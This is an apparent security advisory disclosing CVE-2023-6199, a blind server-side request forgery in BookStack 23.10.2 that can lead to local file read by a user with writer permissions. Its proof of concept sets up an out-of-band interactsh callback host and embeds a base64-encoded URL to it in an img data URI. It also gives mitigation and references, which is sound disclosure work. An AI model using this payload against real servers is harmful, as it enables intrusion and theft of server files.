Book Stack v23.10.2 - LFR via Blind SSRF

Description

Book Stack version 23.10.2 allows filtering local files on the server. This is possible because the application is vulnerable to SSRF.

Vulnerability

A server-side request forgery (SSRF) vulnerability has been identified in Book Stack that, under certain conditions, could allow an attacker to obtain local files from the server. The attacker must have writer permissions.

POC

<!--
 1. OOB

 interactsh-client -v
 => clc2nf2q8vb4audkj6ngndxkxg7c7y1pj.oast.site

 2. Craft Payload

 https://clc2nf2q8vb4audkj6ngndxkxg7c7y1pj.oast.site/image.png | base64
 => aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw

 3. Exploit

 => <img src='data:image/png;base64,[BASE64 HERE]'/>
-->
<img src='data:image/png;base64,aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw'/>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-6199 to refer to this issue from now on. Disclosure policy

System Information

• Version: Book Stack 23.10.2

• Operating System: MacOS

Mitigation

An updated version of BookStack is available at the vendor page.

References

• Vendor page https://github.com/BookStackApp/BookStack/

• BookStack release https://www.bookstackapp.com/blog/bookstack-release-v23-10-3/